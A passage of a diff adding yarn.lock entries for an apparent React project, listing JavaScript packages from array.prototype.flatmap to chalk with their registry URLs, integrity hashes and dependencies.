+  integrity sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.flatmap@^1.3.2, array.prototype.flatmap@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz#712cc792ae70370ae40586264629e33aab5dd38b"
+  integrity sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.reduce@^1.0.6:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/array.prototype.reduce/-/array.prototype.reduce-1.0.7.tgz#6aadc2f995af29cb887eb866d981dc85ab6f7dc7"
+  integrity sha512-mzmiUCVwtiD4lgxYP8g7IYy8El8p2CSMePvIbTS7gchKir/L1fgJrk0yDKmAX6mnRQFKNADYIk8nNlTris5H1Q==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-array-method-boxes-properly "^1.0.0"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    is-string "^1.0.7"
+
+array.prototype.tosorted@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz#fe954678ff53034e717ea3352a03f0b0b86f7ffc"
+  integrity sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+    es-errors "^1.3.0"
+    es-shim-unscopables "^1.0.2"
+
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
+
+asap@~2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
+  integrity sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==
+
+ast-types-flow@^0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.8.tgz#0a85e1c92695769ac13a428bb653e7538bea27d6"
+  integrity sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==
+
+async-function@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/async-function/-/async-function-1.0.0.tgz#509c9fca60eaf85034c6829838188e4e4c8ffb2b"
+  integrity sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==
+
+async@^3.2.3:
+  version "3.2.6"
+  resolved "https://registry.yarnpkg.com/async/-/async-3.2.6.tgz#1b0728e14929d51b85b449b7f06e27c1145e38ce"
+  integrity sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==
+
+asynckit@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+  integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
+
+at-least-node@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2"
+  integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==
+
+autoprefixer@^10.4.13:
+  version "10.4.20"
+  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-10.4.20.tgz#5caec14d43976ef42e32dcb4bd62878e96be5b3b"
+  integrity sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==
+  dependencies:
+    browserslist "^4.23.3"
+    caniuse-lite "^1.0.30001646"
+    fraction.js "^4.3.7"
+    normalize-range "^0.1.2"
+    picocolors "^1.0.1"
+    postcss-value-parser "^4.2.0"
+
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
+axe-core@^4.10.0:
+  version "4.10.2"
+  resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.10.2.tgz#85228e3e1d8b8532a27659b332e39b7fa0e022df"
+  integrity sha512-RE3mdQ7P3FRSe7eqCWoeQ/Z9QXrtniSjp1wUjt5nRC3WIpz5rSCve6o3fsZ2aCpJtrZjSZgjwXAoTO5k4tEI0w==
+
+axobject-query@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-4.1.0.tgz#28768c76d0e3cff21bc62a9e2d0b6ac30042a1ee"
+  integrity sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==
+
+babel-jest@^27.4.2, babel-jest@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-27.5.1.tgz#a1bf8d61928edfefd21da27eb86a695bfd691444"
+  integrity sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==
+  dependencies:
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/babel__core" "^7.1.14"
+    babel-plugin-istanbul "^6.1.1"
+    babel-preset-jest "^27.5.1"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    slash "^3.0.0"
+
+babel-loader@^8.2.3:
+  version "8.4.1"
+  resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.4.1.tgz#6ccb75c66e62c3b144e1c5f2eaec5b8f6c08c675"
+  integrity sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==
+  dependencies:
+    find-cache-dir "^3.3.1"
+    loader-utils "^2.0.4"
+    make-dir "^3.1.0"
+    schema-utils "^2.6.5"
+
+babel-plugin-istanbul@^6.1.1:
+  version "6.1.1"
+  resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz#fa88ec59232fd9b4e36dbbc540a8ec9a9b47da73"
+  integrity sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.0.0"
+    "@istanbuljs/load-nyc-config" "^1.0.0"
+    "@istanbuljs/schema" "^0.1.2"
+    istanbul-lib-instrument "^5.0.4"
+    test-exclude "^6.0.0"
+
+babel-plugin-jest-hoist@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz#9be98ecf28c331eb9f5df9c72d6f89deb8181c2e"
+  integrity sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==
+  dependencies:
+    "@babel/template" "^7.3.3"
+    "@babel/types" "^7.3.3"
+    "@types/babel__core" "^7.0.0"
+    "@types/babel__traverse" "^7.0.6"
+
+babel-plugin-macros@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz#9ef6dc74deb934b4db344dc973ee851d148c50c1"
+  integrity sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==
+  dependencies:
+    "@babel/runtime" "^7.12.5"
+    cosmiconfig "^7.0.0"
+    resolve "^1.19.0"
+
+babel-plugin-named-asset-import@^0.3.8:
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz#6b7fa43c59229685368683c28bc9734f24524cc2"
+  integrity sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==
+
+babel-plugin-polyfill-corejs2@^0.4.10:
+  version "0.4.12"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.12.tgz#ca55bbec8ab0edeeef3d7b8ffd75322e210879a9"
+  integrity sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og==
+  dependencies:
+    "@babel/compat-data" "^7.22.6"
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+    semver "^6.3.1"
+
+babel-plugin-polyfill-corejs3@^0.10.6:
+  version "0.10.6"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.10.6.tgz#2deda57caef50f59c525aeb4964d3b2f867710c7"
+  integrity sha512-b37+KR2i/khY5sKmWNVQAnitvquQbNdWy6lJdsr0kmquCKEEUgMKK4SboVM3HtfnZilfjr4MMQ7vY58FVWDtIA==
+  dependencies:
+    "@babel/helper-define-polyfill-provider" "^0.6.2"
+    core-js-compat "^3.38.0"
+
+babel-plugin-polyfill-regenerator@^0.6.1:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.3.tgz#abeb1f3f1c762eace37587f42548b08b57789bc8"
+  integrity sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q==
+  dependencies:
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+
+babel-plugin-transform-react-remove-prop-types@^0.4.24:
+  version "0.4.24"
+  resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz#f2edaf9b4c6a5fbe5c1d678bfb531078c1555f3a"
+  integrity sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==
+
+babel-preset-current-node-syntax@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.1.0.tgz#9a929eafece419612ef4ae4f60b1862ebad8ef30"
+  integrity sha512-ldYss8SbBlWva1bs28q78Ju5Zq1F+8BrqBZZ0VFhLBvhh6lCpC2o3gDJi/5DRLs9FgYZCnmPYIVFU4lRXCkyUw==
+  dependencies:
+    "@babel/plugin-syntax-async-generators" "^7.8.4"
+    "@babel/plugin-syntax-bigint" "^7.8.3"
+    "@babel/plugin-syntax-class-properties" "^7.12.13"
+    "@babel/plugin-syntax-class-static-block" "^7.14.5"
+    "@babel/plugin-syntax-import-attributes" "^7.24.7"
+    "@babel/plugin-syntax-import-meta" "^7.10.4"
+    "@babel/plugin-syntax-json-strings" "^7.8.3"
+    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
+    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
+    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
+    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
+    "@babel/plugin-syntax-top-level-await" "^7.14.5"
+
+babel-preset-jest@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz#91f10f58034cb7989cb4f962b69fa6eef6a6bc81"
+  integrity sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==
+  dependencies:
+    babel-plugin-jest-hoist "^27.5.1"
+    babel-preset-current-node-syntax "^1.0.0"
+
+babel-preset-react-app@^10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz#ed6005a20a24f2c88521809fa9aea99903751584"
+  integrity sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==
+  dependencies:
+    "@babel/core" "^7.16.0"
+    "@babel/plugin-proposal-class-properties" "^7.16.0"
+    "@babel/plugin-proposal-decorators" "^7.16.4"
+    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.16.0"
+    "@babel/plugin-proposal-numeric-separator" "^7.16.0"
+    "@babel/plugin-proposal-optional-chaining" "^7.16.0"
+    "@babel/plugin-proposal-private-methods" "^7.16.0"
+    "@babel/plugin-transform-flow-strip-types" "^7.16.0"
+    "@babel/plugin-transform-react-display-name" "^7.16.0"
+    "@babel/plugin-transform-runtime" "^7.16.4"
+    "@babel/preset-env" "^7.16.4"
+    "@babel/preset-react" "^7.16.0"
+    "@babel/preset-typescript" "^7.16.0"
+    "@babel/runtime" "^7.16.3"
+    babel-plugin-macros "^3.1.0"
+    babel-plugin-transform-react-remove-prop-types "^0.4.24"
+
+balanced-match@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+
+batch@0.6.1:
+  version "0.6.1"
+  resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
+  integrity sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==
+
+bfj@^7.0.2:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/bfj/-/bfj-7.1.0.tgz#c5177d522103f9040e1b12980fe8c38cf41d3f8b"
+  integrity sha512-I6MMLkn+anzNdCUp9hMRyui1HaNEUCco50lxbvNS4+EyXg8lN3nJ48PjPWtbH8UVS9CuMoaKE9U2V3l29DaRQw==
+  dependencies:
+    bluebird "^3.7.2"
+    check-types "^11.2.3"
+    hoopy "^0.1.4"
+    jsonpath "^1.1.1"
+    tryer "^1.0.1"
+
+big.js@^5.2.2:
+  version "5.2.2"
+  resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
+  integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
+
+binary-extensions@^2.0.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.3.0.tgz#f6e14a97858d327252200242d4ccfe522c445522"
+  integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==
+
+bluebird@^3.7.2:
+  version "3.7.2"
+  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
+  integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
+
+body-parser@1.20.3:
+  version "1.20.3"
+  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.3.tgz#1953431221c6fb5cd63c4b36d53fab0928e548c6"
+  integrity sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==
+  dependencies:
+    bytes "3.1.2"
+    content-type "~1.0.5"
+    debug "2.6.9"
+    depd "2.0.0"
+    destroy "1.2.0"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    on-finished "2.4.1"
+    qs "6.13.0"
+    raw-body "2.5.2"
+    type-is "~1.6.18"
+    unpipe "1.0.0"
+
+bonjour-service@^1.0.11:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/bonjour-service/-/bonjour-service-1.3.0.tgz#80d867430b5a0da64e82a8047fc1e355bdb71722"
+  integrity sha512-3YuAUiSkWykd+2Azjgyxei8OWf8thdn8AITIog2M4UICzoqfjlqr64WIjEXZllf/W6vK1goqleSR6brGomxQqA==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+    multicast-dns "^7.2.5"
+
+boolbase@^1.0.0, boolbase@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
+  integrity sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+brace-expansion@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  dependencies:
+    balanced-match "^1.0.0"
+
+braces@^3.0.3, braces@~3.0.2:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
+  integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
+  dependencies:
+    fill-range "^7.1.1"
+
+browser-process-hrtime@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
+  integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==
+
+browserslist@^4.0.0, browserslist@^4.18.1, browserslist@^4.21.4, browserslist@^4.23.3, browserslist@^4.24.0, browserslist@^4.24.3:
+  version "4.24.4"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.4.tgz#c6b2865a3f08bcb860a0e827389003b9fe686e4b"
+  integrity sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==
+  dependencies:
+    caniuse-lite "^1.0.30001688"
+    electron-to-chromium "^1.5.73"
+    node-releases "^2.0.19"
+    update-browserslist-db "^1.1.1"
+
+bser@2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
+  integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==
+  dependencies:
+    node-int64 "^0.4.0"
+
+buffer-from@^1.0.0:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5"
+  integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
+
+builtin-modules@^3.1.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/builtin-modules/-/builtin-modules-3.3.0.tgz#cae62812b89801e9656336e46223e030386be7b6"
+  integrity sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==
+
+bytes@3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5"
+  integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==
+
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz#32e5892e6361b29b0b545ba6f7763378daca2840"
+  integrity sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.7, call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c"
+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2, call-bound@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.3.tgz#41cfd032b593e39176a71533ab4f384aa04fd681"
+  integrity sha512-YTd+6wGlNlPxSuri7Y6X8tY2dmm12UMH66RpKMhiX6rsk5wXXnYgbUcOt8kiS31/AjfoTOvCsE+w8nZQLQnzHA==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    get-intrinsic "^1.2.6"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+camel-case@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
+  integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==
+  dependencies:
+    pascal-case "^3.1.2"
+    tslib "^2.0.3"
+
+camelcase-css@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/camelcase-css/-/camelcase-css-2.0.1.tgz#ee978f6947914cc30c6b44741b6ed1df7f043fd5"
+  integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==
+
+camelcase@^5.3.1:
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
+  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
+
+camelcase@^6.2.0, camelcase@^6.2.1:
+  version "6.3.0"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.3.0.tgz#5685b95eb209ac9c0c177467778c9c84df58ba9a"
+  integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==
+
+caniuse-api@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
+  integrity sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==
+  dependencies:
+    browserslist "^4.0.0"
+    caniuse-lite "^1.0.0"
+    lodash.memoize "^4.1.2"
+    lodash.uniq "^4.5.0"
+
+caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001646, caniuse-lite@^1.0.30001688:
+  version "1.0.30001697"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001697.tgz#040bbbb54463c4b4b3377c716b34a322d16e6fc7"
+  integrity sha512-GwNPlWJin8E+d7Gxq96jxM6w0w+VFeyyXRsjU58emtkYqnbwHqXm5uT2uCmO0RQE9htWknOP4xtBlLmM/gWxvQ==
+
+case-sensitive-paths-webpack-plugin@^2.4.0:
+  version "2.4.0"
+  resolved "https://registry.yarnpkg.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz#db64066c6422eed2e08cc14b986ca43796dbc6d4"
+  integrity sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==
+
+chalk@^2.4.1:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
+  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+  dependencies:
+    ansi-styles "^3.2.1"
+    escape-string-regexp "^1.0.5"
+    supports-color "^5.3.0"
+
+chalk@^4.0.0, chalk@^4.0.2, chalk@^4.1.0, chalk@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+char-regex@^1.0.2:
+  version "1.0.2"
